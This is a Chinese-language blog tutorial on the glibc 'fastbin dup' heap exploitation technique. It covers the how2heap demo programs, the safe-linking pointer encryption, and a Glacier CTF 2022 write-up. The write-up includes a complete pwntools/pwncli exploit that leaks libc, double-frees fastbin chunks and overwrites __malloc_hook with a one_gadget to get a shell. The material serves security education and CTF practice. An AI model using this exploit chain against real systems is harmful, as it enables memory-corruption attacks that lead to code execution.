selph
selph
Published on 2024-01-19 / 239 Visits
0
0

堆利用详解:fastbin dup

简介

本文参考自how2heap和malloc.c源码进行介绍

漏洞原因

OverflowWAF

适用范围:

  • libc 2.23~至今
  • 可以伪造 fastbin chunkfd 指针

利用原理

修改fastbin chunk 的fd指针指向fake fastbin chunk,使得链表指向伪造的chunk,从伪造chunk中申请chunk

相关技巧

  • 2.34 前可以攻击 __malloc_hook函数
  • 2.35 后需要结合其他技巧,例如house of corrosion进行利用

利用效果

把伪造chunk变成fastbin chunk并申请走

实验:how2heap - fastbin dup

实验环境:libc 2.35

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
	setbuf(stdout, NULL);

	printf("This file demonstrates a simple double-free attack with fastbins.\n");

	printf("Fill up tcache first.\n");
	void *ptrs[8];
	for (int i=0; i<8; i++) {
		ptrs[i] = malloc(8);
	}
	for (int i=0; i<7; i++) {
		free(ptrs[i]);
	}

	printf("Allocating 3 buffers.\n");
	int *a = calloc(1, 8);
	int *b = calloc(1, 8);
	int *c = calloc(1, 8);

	printf("1st calloc(1, 8): %p\n", a);
	printf("2nd calloc(1, 8): %p\n", b);
	printf("3rd calloc(1, 8): %p\n", c);

	printf("Freeing the first one...\n");
	free(a);

	printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
	// free(a);

	printf("So, instead, we'll free %p.\n", b);
	free(b);

	printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
	free(a);

	printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
	a = calloc(1, 8);
	b = calloc(1, 8);
	c = calloc(1, 8);
	printf("1st calloc(1, 8): %p\n", a);
	printf("2nd calloc(1, 8): %p\n", b);
	printf("3rd calloc(1, 8): %p\n", c);

	assert(a == c);
}

为了使用fastbin,首先是填充满tcachebin

从fastbin申请3个chunk:A,B,C

按照顺序进行释放:A,B,A,完成对fastbin的双重释放,同一个chunk被释放两次,意味着在第二次被申请前可以修改chunk指针

0x55555555b390  0x0000000000000000      0x0000000000000021      ........!.......         <-- fastbins[0x20][0], fastbins[0x20][0]
0x55555555b3a0  0x000055500000e6eb      0x0000000000000000      ....PU..........

0x55555555b3b0  0x0000000000000000      0x0000000000000021      ........!.......         <-- fastbins[0x20][1]
0x55555555b3c0  0x000055500000e6cb      0x0000000000000000      ....PU..........

0x55555555b3d0  0x0000000000000000      0x0000000000000021      ........!.......
0x55555555b3e0  0x0000000000000000      0x0000000000000000      ................

0x55555555b3f0  0x0000000000000000      0x0000000000020c11      ................         <-- Top chunk
pwndbg> fastbins
fastbins
0x20: 0x55555555b390 —▸ 0x55555555b3b0 ◂— 0x55555555b390

接下来就可以控制fastbin的指针了

探究1:为什么可以 double-free ?

在_int_free中对fastbin处理里,有一个双重释放安全检查:

            /* Check that the top of the bin is not the record we are going to
               add (i.e., double free).  */
            // 如果该fastbin当前指向的chunk和要释放的chunk指针相同,报错,双重释放检测
            // 只检测第一个chunk是否和要释放的chunk相同
            if (__builtin_expect(old == p, 0))
                malloc_printerr("double free or corruption (fasttop)");
            // 指针加密
            p->fd = PROTECT_PTR(&p->fd, old);
            *fb = p;

这个检查和libc 2.23一样,只检查释放的fastbin链表中的第一个chunk和释放的chunk是否是同一个,是就表示为双重释放

要触发这个检查,就需要连续释放两个同样的chunk到fastbin链表中,如果不是连续的,就会存在双重释放问题

总结

通过不连续的释放同一个fastbin chunk可以造成双重释放,从而可以控制fastbin chunk fd指针,使其指向任意位置(需要构造fake fastbin chunk才能申请走)

实验:how2heap - fastbin dup into stack

实验环境:libc 2.35

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
	fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n"
	       "returning a pointer to a controlled location (in this case, the stack).\n");


	fprintf(stderr,"Fill up tcache first.\n");

	void *ptrs[7];

	for (int i=0; i<7; i++) {
		ptrs[i] = malloc(8);
	}
	for (int i=0; i<7; i++) {
		free(ptrs[i]);
	}


	unsigned long stack_var[4] __attribute__ ((aligned (0x10)));

	fprintf(stderr, "The address we want calloc() to return is %p.\n", stack_var + 2);

	fprintf(stderr, "Allocating 3 buffers.\n");
	int *a = calloc(1,8);
	int *b = calloc(1,8);
	int *c = calloc(1,8);

	fprintf(stderr, "1st calloc(1,8): %p\n", a);
	fprintf(stderr, "2nd calloc(1,8): %p\n", b);
	fprintf(stderr, "3rd calloc(1,8): %p\n", c);

	fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin
	free(a);

	fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);

	fprintf(stderr, "So, instead, we'll free %p.\n", b);
	free(b);

	//Calling free(a) twice renders the program vulnerable to Double Free

	fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
	free(a);

	fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
		"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
	unsigned long *d = calloc(1,8);

	fprintf(stderr, "1st calloc(1,8): %p\n", d);
	fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8));
	fprintf(stderr, "Now the free list has [ %p ].\n", a);
	fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
		"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
		"so that calloc will think there is a free chunk there and agree to\n"
		"return a pointer to it.\n", a);
	stack_var[1] = 0x20;

	fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
	fprintf(stderr, "Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n");
	fprintf(stderr, "^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n");
	unsigned long ptr = (unsigned long)stack_var;
	unsigned long addr = (unsigned long) d;
	/*VULNERABILITY*/
	*d = (addr >> 12) ^ ptr;
	/*VULNERABILITY*/

	fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8));

	void *p = calloc(1,8);

	fprintf(stderr, "4th calloc(1,8): %p\n", p);
	assert((unsigned long)p == (unsigned long)stack_var + 0x10);
}

首先依然是填充满tcachebin,依然是申请A,B,C三个chunk,按照A,B,A的顺序释放,完成fastbin dup的过程,此时的堆:

0x55555555b370  0x0000000000000000      0x0000000000000021      ........!.......  chunkA       <-- fastbins[0x20][0], fastbins[0x20][0]
0x55555555b380  0x000055500000e6cb      0x0000000000000000      ....PU..........

0x55555555b390  0x0000000000000000      0x0000000000000021      ........!.......  chunkB       <-- fastbins[0x20][1]
0x55555555b3a0  0x000055500000e62b      0x0000000000000000      +...PU..........
0x55555555b3b0  0x0000000000000000

此时进行内存申请相同大小的chunk会从fastbin中分配,第一次申请走的是chunkA,申请后:

0x55555555b370  0x0000000000000000      0x0000000000000021      ........!.......  chunkA       <-- fastbins[0x20][1]
0x55555555b380  0x0000000000000000      0x0000000000000000      ................

0x55555555b390  0x0000000000000000      0x0000000000000021      ........!.......  chunkB       <-- fastbins[0x20][0]
0x55555555b3a0  0x000055500000e62b      0x0000000000000000      +...PU..........
0x55555555b3b0  0x0000000000000000

第二次申请的是chunkB,申请后:

0x55555555b370  0x0000000000000000      0x0000000000000021      ........!.......  chunkA       <-- fastbins[0x20][0]
0x55555555b380  0x0000000000000000      0x0000000000000000      ................

0x55555555b390  0x0000000000000000      0x0000000000000021      ........!.......
0x55555555b3a0  0x0000000000000000      0x0000000000000000      ................
0x55555555b3b0  0x0000000000000000

在进行第三次申请之前,我们可以修改该chunk的fd指针,指向存在fake chunk的地方

现在在栈中构造一个fake chunk:

pwndbg> dq stack_var
00007fffffffdf50     0000000000000000 0000000000000020
00007fffffffdf60     0000000000000000 0000000000000000
00007fffffffdf70     000055555555b2a0 000055555555b2c0

申请的时候会检查next chunk的prev_size吗?后面探究

接下来就是覆盖fd指针指向该位置了:

	unsigned long ptr = (unsigned long)stack_var;
	unsigned long addr = (unsigned long) d;
	/*VULNERABILITY*/
	*d = (addr >> 12) ^ ptr;
	/*VULNERABILITY*/

覆盖后:

pwndbg> fastbins
fastbins
0x20: 0x7fffffffdf50 ◂— 0x7fffffffd

再次申请的时候就可以申请走这个fake chunk为合法chunk了

探究2:申请 fake fastbin chunk 有什么检查吗?

关于 fastbin chunk 申请的源码分析可以看看参考资料[2]

libc 2.35 中,申请fastbin chunk的过程简单描述一下就是:(重要的地方已加粗)

  1. 安全检查:检查 fastbin top chunk 的内存对齐

  2. 解密该 chunk 的 fd 指针,单链表断链取出该 chunk,fastbin 指向下一个 fastbin chunk

  3. 安全检查:检查 fastbin top size 对应的 fastbin idx 与当前使用的 idx 是否相同(检查申请的 chunk 大小是否为当前 bin 的大小)

  4. 如果启用了tcache,进行如下处理

    1. 计算申请 chunk size 对应 tcache 索引

    2. 如果对应的 tcachebin 没有满,且该 fastbin 中还有其他的 fastbin chunk

      1. 依次取出 fastbin chunk
      2. 安全检查:检查 chunk 的内存对齐
      3. 解密该 chunk 的 fd 指针
      4. 将该 chunk 放入 tcachebin 中
  5. 将刚刚取出的 chunk 拿去分配

在 libc 2.23 中,只有一个检查:检查fastbin chunk大小是否匹配对应的fastbin

探究3:覆盖指针时,进行的异或操作是什么?加密解密?

加密解密用的是同一个宏:(fastbin 指针加密在 libc 2.32 引入

#define PROTECT_PTR(pos, ptr) \
    ((__typeof(ptr))((((size_t)pos) >> 12) ^ ((size_t)ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)

加密解密用的是异或,异或是用pos右移12位和原本指针进行异或,以刚才的情景为例:

0x55555555b370  0x0000000000000000      0x0000000000000021      ........!.......         <-- fastbins[0x20][1]
0x55555555b380  0x0000000000000000      0x0000000000000000      ................

0x55555555b390  0x0000000000000000      0x0000000000000021      ........!.......         <-- fastbins[0x20][0]
0x55555555b3a0  0x000055500000e62b      0x0000000000000000      +...PU..........

fastbin[0x20][0]的指针应该是指向fastbin[0x20][1]的地址,这里写的内容是被加密后的,其中:

  • ptr是fd指针,是0x000055500000e62b
  • pos是fd指针所在的地址,是0x55555555b3a0

那么解密过程就是,(0x55555555b3a0 >> 12) ^ 0x000055500000e62b = 0x55555555B370,刚好是fastbin[0x20][1]的chunk地址

总结

上一个实验是探究了fastbin如何实现双重释放,这个实验则是在上个实验的基础上进行进一步利用,以及关于指针加密的计算过程

实验:Glacier CTF 2022 - old_dayz

实验环境:libc 2.23(2.35的攻击目标发生了变化,之后介绍house of技术的时候再写)

题目分析

main函数:增删改查四个功能很明确

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v3; // edi
  size_t v4; // rdx
  int buf; // [rsp+Ch] [rbp-4h] BYREF

  setup(argc, argv, envp);
  while ( 1 )
  {
    menu();
    __isoc99_scanf("%u", &buf);
    v3 = (int)stdin;
    getc(stdin);
    switch ( buf )
    {
      case 1:
        add();                                  // 创建不大于0x1000的内存申请
        break;
      case 2:
        delete();                               // 没清除指针,导致后续的UAF
        break;
      case 3:
        write(v3, &buf, v4);                    // 存在WAF - 可修改指针
        break;
      case 4:
        view();                                 // 存在RAF - 可泄露地址
        break;
      case 5:
        exit(0);
      default:
        exit(42);
    }
  }
}

add:最多创建15个chunk,大小0x1000以内随便选

__int64 add()
{
  __int64 result; // rax
  unsigned int idx; // [rsp+Ch] [rbp-114h] BYREF
  char buf[256]; // [rsp+10h] [rbp-110h] BYREF
  __int64 memptr; // [rsp+110h] [rbp-10h]
  size_t size; // [rsp+11Ch] [rbp-4h]

  puts("idx: ");
  __isoc99_scanf("%u", &idx);                   // 手动输入idx
  getc(stdin);
  if ( idx > 0xF )                              // 最多15次创建
    exit(1);
  puts("size: ");
  read(0, buf, 0x100uLL);
  LODWORD(size) = atoi(buf);
  if ( (unsigned int)size > 0x1000 )            // size最大0x1000
    exit(0);
  result = (__int64)malloc((unsigned int)size); // 申请内存
  memptr = result;
  if ( result )
  {
    notes[idx] = memptr;                        // 保存指针和大小到全局变量
    result = (unsigned int)size;
    sizes[idx] = size;
  }
  return result;                                // 返回大小
}

delete:释放内存不清空指针,有UAF隐患

void delete()
{
  unsigned int v0; // [rsp+Ch] [rbp-4h] BYREF

  puts("idx: ");
  __isoc99_scanf("%u", &v0);
  getc(stdin);
  if ( v0 > 0xF )
    exit(1);
  free((void *)notes[v0]);                      // 释放后没有清0指针和size值
}

write:UAF写漏洞

ssize_t write(int fd, const void *buf, size_t n)
{
  unsigned int v4; // [rsp+Ch] [rbp-4h] BYREF

  puts("idx: ");
  __isoc99_scanf("%u", &v4);
  getc(stdin);
  if ( v4 > 0xF )
    exit(1);
  puts("contents: ");
  return read(0, (void *)notes[v4], (unsigned int)sizes[v4]);// 用指定的大小去写入指针内容
}

view:UAF读漏洞

int view()
{
  unsigned int idx; // [rsp+Ch] [rbp-4h] BYREF

  puts("idx: ");
  __isoc99_scanf("%u", &idx);
  getc(stdin);
  if ( idx > 0xF )
    exit(1);
  return printf("data: %s", (const char *)notes[idx]);// 打印内容
}

leak libc address

对于存在UAF读漏洞的情况,只需要直接创造一个unsortedbin chunk去读就行:

# first - leak libc address
add(0, 0x90)
add(1, 0x68)
dele(0)

leak = show(0)[:6]
leak = unpack(leak,'all')
libc.address = leak -0x3c4b78
success(f"leak address => {hex(leak)}")
success(f"libc address => {hex(libc.address)}")

fastbin dup

流程思路同上述how2heap实验:

# second - fastbin dup

add(2, 0x68)
add(3, 0x68)
dele(1)
dele(2)
dele(1)

add(4, 0x68)
add(5, 0x68)
edit(4, pack(libc.sym.__malloc_hook - 0x23))
add(6, 0x68)

注意:fastbin_index 的计算

搜索到__malloc_hook附近的fake fastbin chunk如下:

Searching for fastbin size fields up to 0x80, starting at 0x7f80128c0a98 resulting in an overlap of 0x7f80128c0b10
FAKE CHUNKS
Fake chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x7f80128c0aed
prev_size: 0x80128bf260000000
size: 0x78 (with flag bits: 0x7f)
fd: 0x8012581ea0000000
bk: 0x8012581a7000007f
fd_nextsize: 0x7f
bk_nextsize: 0x00

这里的fake chunk的size字段是0x7f

在申请fastbin的时候的大小检查:

           if (__builtin_expect(fastbin_index(chunksize(victim)) != idx, 0))
            {
                errstr = "malloc(): memory corruption (fast)";
            errout:
                malloc_printerr(check_action, errstr, chunk2mem(victim), av);
                return NULL;
            }

这里用的两个宏:

#define chunksize(p) ((p)->size & ~(SIZE_BITS))

#define fastbin_index(sz) \
    ((((unsigned int)(sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

大小检查的时候,会跳过后4位,也就是说,size 为 0x7f 的 chunk,计算的时候会被当作 0x70 来看

所以这里申请内存准备fastbin dup的时候,要选择0x70的bin

劫持 malloc hook

修改为one gadget:

# write one_gadget to __malloc_hook
add(7, 0x68)
payload = flat({
    0x13:pack(libc.address + one_gadgets[0])
})
edit(7, payload)

# trigger __malloc_hook
add(8, 0x68)

完整 EXP

#!/usr/bin/env python3
# Date: 2024-01-19 13:01:13
# Link: https://github.com/RoderickChan/pwncli
# Usage:
#     Debug : python3 exp.py debug elf-file-path -t -b malloc
#     Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *
cli_script()
set_remote_libc('libc-2.23.so')

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

one_gadgets: list = get_current_one_gadget_from_libc(more=False)
#CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)

def cmd(i, prompt='>'):
    sla(prompt, i)

def add(idx,nb):
    cmd('1')
    sla('idx: \n',str(idx))
    sla('size: \n',str(nb))
    #......

def edit(idx,content):
    cmd('3')
    sla('idx: \n',str(idx))
    sla('contents: \n',content)
    #......

def show(idx):
    cmd('4')
    sla('idx: \n',str(idx))
    ru('data: ')
    return rl()[:-1]
    #......

def dele(idx):
    cmd('2')
    sla('idx: \n',str(idx))
    #......

# fastbin dup -> __malloc_hook
  
# first - leak libc address
add(0, 0x90)
add(1, 0x68)
dele(0)

leak = show(0)[:6]
leak = unpack(leak,'all')
libc.address = leak -0x3c4b78
success(f"leak address => {hex(leak)}")
success(f"libc address => {hex(libc.address)}")

# second - fastbin dup

add(2, 0x68)
add(3, 0x68)
dele(1)
dele(2)
dele(1)

add(4, 0x68)
add(5, 0x68)
edit(4, pack(libc.sym.__malloc_hook - 0x23))
add(6, 0x68)

# write one_gadget to __malloc_hook
add(7, 0x68)
payload = flat({
    0x13:pack(libc.address + one_gadgets[0])
})
edit(7, payload)

# trigger __malloc_hook
add(8, 0x68)
ia()

参考资料


Comment